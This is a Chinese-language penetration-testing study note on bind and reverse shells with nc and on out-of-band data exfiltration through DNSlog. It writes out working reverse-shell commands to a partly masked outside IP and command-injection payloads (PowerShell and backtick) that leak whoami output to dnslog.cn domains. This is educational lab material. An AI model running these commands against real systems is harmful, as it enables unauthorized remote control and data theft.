渗透测试命令
文件上传下载:
目的:解决无图形化和数据传输
我们常规下载文件就是访问网址下载,但是在安全测试过程中,有很多情况下没有图形化操作(只是一个执行命令的shell),这也是一个必备的一个技能
可以利用棱角社区生成下载命令(多种方式的命令)
[~]#棱角 ::Edge.Forum* (ywhack.com)
C:\inetpub\wwwroot(windows一般网站目录都在这)
反弹shell
我们用的工具是nc(linux自带,windows需要下载)
为什么需要反弹??
有些命令需要交互式才能进行,像冰蝎那种后门的shell,是没有交互的,遇到交互的命令,会卡住。
一般用外网机器对内网机器进行访问时,多用反向shell,内网机器与内网机器之间多用正向shell
知识点:
1.正向连接和反向连接
假如有两台主机,主机a和主机b,我想要a去控制b,那么a主动去连接b,就是正向连接。
b找到a把数据发送给a,a连接到b,就叫反向连接。
正向连接:
本地监听,等待连接
被控制主机执行
1 | nc -lvp 5566 -e /bin/sh (绑定本地的5566端口) |
攻击机执行
1 | nc 47.237.119.xx 5566 |
为了安全我把我的服务器后面两位省略了哈。
反向连接:
主动给出现,对方监听
这里我用kali模拟需要被控制的机器,我的服务器模拟攻击的机器
kali执行:
1 | nc 47.237.119.xx 5577 -e /bin/bash |
服务器执行:
1 | nc -lvp 5577 |
学校,网吧,企业 这种内网环境,只有一个出网ip,那么控制内网某一台机器的权限,用反向连接(因为你的ip是唯一的,能够找到),外网连不到内网ip。想要正向的话,需要做一个端口映射)
小迪这期讲的特别细,
举个例子。
(都没有考虑入站和出站的限制)
如果说你有一台服务器(有公网ip),然后和你本机,那么服务器上执行反向连接,本机监听,可以连接成功吗?不可以的,因为反向的时候,他找不到你的ip,我们在学校访问互联网,都是通过一个路由器将内网ip转换为外网ip,这样上网的。服务器传回来的连接,说找不到你的ip,只能找到路由器,路由器又没有配置分发,所以连接不上。
那么服务器监听本地,本机去连可以吗??可以,因为服务器的外网ip是唯一的,他可以连接。
本机反向连接给服务器,服务器监听,可以连接吗?也可以。
然后入站和出站策略
入站策略:针对的是访问这个主机的策略
针对入站策略特别严格,就用反向连接
出站策略:针对的是这个主机数据出去的策略
出站策略特别严,就用正向连接
如果两个都特别严,哈哈。(只有我妈才能剥夺我玩不了电脑的权利,现在waf也可以,在waf身上甚至感受到了母爱。)
数据回显问题:
数据没有回显,就不知道它有没有安全问题,反弹shell是一个解决问题的方法,
另一种方法:带外查询(DNSlog),windows用powershell命令,linux可以用 ``,这个代表执行命令
windows演示
1.我用pikachu演示一下,带外查询,因为我搭建的是windows服务器,所用要用到powershell脚本
1 | 127.0.0.1 | powershell $x=whoami;$y=$x.Replace('\','x');$z='.f4465y.dnslog.cn';$h=$y+$z;ping $h; |
linux演示
2.linux 演示一下,我就不搭建pikachu了,直接执行一下
1 | ping `whoami`.teovfs.dnslog.cn |